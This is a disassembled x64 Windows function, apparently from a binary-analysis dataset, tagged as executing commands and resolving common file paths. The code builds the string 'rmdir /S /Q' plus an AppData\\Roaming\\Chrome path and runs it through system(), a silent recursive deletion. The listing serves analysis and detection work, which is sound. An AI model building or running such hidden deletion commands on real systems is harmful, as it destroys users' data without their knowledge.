Function at 0x180051ad0
Capabilities:
Execute command
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x108]
sub rsp, 0x1e0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
xor ebx, ebx
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x28]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x180051e23
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rax, [rbp - 0x50]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x180051b40
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x70]
call fcn.18006b270
nop
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.AppDataRoamingChrome
lea rcx, [rsp + 0x70]
call fcn.18006a0a0
movups xmm7, xmmword [rax]
movups xmmword [rbp - 0x70], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm6
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x180051bcc
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180051bc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180051bc7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800d2160
movdqa xmm0, xmmword [0x1800f6210]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
movq r15, xmm6
sub rax, r15
cmp rax, 0xd
jb 0x180051e4e
lea r13, [rbp - 0x70]
movq rsi, xmm7
psrldq xmm6, 8
movq r14, xmm6
cmp r14, 0x10
cmovae r13, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea r12, [r15 + 0xd]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x50]
cmp r12, rbx
jbe 0x180051cb6
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x180051c78
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1800d22f8
test rax, rax
je 0x180051d73
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180051cb1
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180051ca0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180051e54
jmp 0x180051c59
test rcx, rcx
je 0x180051caf
call fcn.1800d22f8
mov rdi, rax
jmp 0x180051cb1
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], rbx
movsd xmm0, qword [str.rmdir__S__Q__]
movsd qword [rdi], xmm0
mov eax, dword [0x1800f5378]
mov dword [rdi + 8], eax
movzx eax, byte [0x1800f537c]
mov byte [rdi + 0xc], al
lea rcx, [rdi + 0xd]
mov r8, r15
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r12], 0
mov r8d, 1
lea rdx, [0x1800f5368]
lea rcx, [rsp + 0x50]
call fcn.18006a0a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180051d7f
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180051d7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180051d7a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800d2160
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180051dd6
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180051dd1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180051dd1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800d2160
movdqa xmm0, xmmword [0x1800f6210]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
cmp r14, 0x10
jb 0x180051e23
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180051e1b
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180051e1b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1800d2160
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180048350
nop
call fcn.18003a660
int3